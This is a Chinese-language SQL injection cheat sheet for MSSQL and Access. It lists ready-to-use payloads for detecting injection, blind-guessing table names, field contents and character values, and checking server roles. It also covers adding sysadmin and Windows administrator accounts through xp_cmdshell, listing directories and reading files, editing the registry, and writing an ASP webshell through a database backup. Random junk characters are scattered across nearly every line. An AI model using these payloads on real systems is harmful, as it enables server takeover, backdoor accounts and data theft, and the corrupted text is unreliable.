1.判断是否有注入;and 1=1 ;and 1=2 u~PZK.Uf0
2.初步判断是否是mssql ;and user>0 8:[ l1d86
kPoz&e_@
3.注入参数是字符'and [查询条件] and ''=' I51I(QF=
*7b?.{
4.搜索时没过滤参数的'and [查询条件] and '%25'=' nw(R=C
u U%Z%O
5.判断数据库系统 QseV\; z
ZG-#YF.1
;and (select count(*) from sysobjects)>0 mssql sR/y|
$9P=
;and (select count(*) from msysobjects)>0 access *W;;L_V"
&j,#5f(
TbLU[(m-n
~'F.tB
6.猜数据库 ;and (select Count(*) from [数据库名])>0 H3 -?cy
<KfR)7I$0a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9WI5\`*"
X ]W)D
S
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2_ 1RJ
;e.8EL
9.(1)猜字段的ascii值(access) p=3t!3
+*,!q7Gt
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 {Qc,Nl
[?
xojt s;n
(2)猜字段的ascii值(mssql) Uz~B`
Kwi+}B!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 UA4c4~$S
(V1;`sI8
10.测试权限结构(mssql) w 62m}5eA
aRElk&M
8!YQ9T [
%!eRR
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- G|RBwl
-}PE(c1%?q
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #RbdQH !
mG$N%`aG
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1rs.
:!hO9ho
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- <B>hvuCoH
p3Ozfk
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -<9Qez)y
Nu3gkIz5z-
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- $2+s3)
D+BiclJ
;and 1=(select IS_MEMBER('db_owner'));-- ?|WoNA~j}`
3Gr"YG{,
P j,H]
8:)[.
11.添加mssql和系统的帐户 Hpa6;eT
w,up`W7,
;exec master.dbo.sp_addlogin username;-- H\H7a.@nkF
;exec master.dbo.sp_password null,username,password;-- bRrSd:e
`JY+3d,Ui
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- v_Df+
Z=Cw7E
;exec master.dbo.xp_cmdshell 'net user username password w>8kBQ?b
` &bF@$((
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- kvuRT`/
m5&Ht (I%n
;exec master.dbo.xp_cmdshell 'net user username password /add';-- X)6 G :cD
l0;u$
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- H-nhq-fut
a6cU<(WDeh
.dVV#
H
>F:1a\c
12.(1)遍历目录 .c&&@>m@.
mj'N)6ga
;create table dirs(paths varchar(100), id int) 0|J9Btbp
! L|l(<C
;insert dirs exec master.dbo.xp_dirtree 'c:\' e$_gOwB
+nHr+7}
;and (select top 1 paths from dirs)>0 ](v,2(}=
ah
f,- ?S
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) |d-x2M[
xQU//kNL
OI*ltba?
Ly3!0P.<
(2)遍历目录 d}tmZ*q
QlV(D<
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- bCr
W'}:de
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6P}?+ Gc
~k-'
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %rJDpB{
@*~yVV!5
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 A,t g268
D\+x/r?-I
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4H;7GNu
.>}I/+n
R9^vAS4t[O
H\n6t-l
13.mssql中的存储过程 9H;Os:"\|
("ix!\1K@
xp_regenumvalues 注册表根键, 子键 O`1!&XT{x
JP0aNu
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -^yc<%U
fZr{x$]N0
xp_regread 根键,子键,键值名 a%BC{XX
3UW`Jyd`k
;exec xp_regread uL-kihV:-
);AtFP0Y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 E2dS@!]V
lhJY]tQt/
xp_regwrite 根键,子键, 值名, 值类型, 值 p7Zeudmj
llR5qq=t
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 _Dqi#0#40p
Lg(G&ljE@k
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 V`LE 'E
,mvFeo;@f
xp_regdeletevalue 根键,子键,值名 H)E,([
~Q
Q1ZP3
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ~PQR_?1
h lc!}{$%8
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 c^'bf_~-W
"~EAt$
X]2Ib'(
!KJ X$?
14.mssql的backup创建webshell ==?%]ZE8
-6uLww=w4
use model 9<y{:{i
Z.Z31yF:f
create table cmd(str image); +mD;\iW]
[tSv{
insert into cmd(str) values (''); eN|zD?ba&
\'u+iB
g
backup database model to disk='c:\l.asp'; 3I)oqS@q'
I4w``""c
%%n&z6w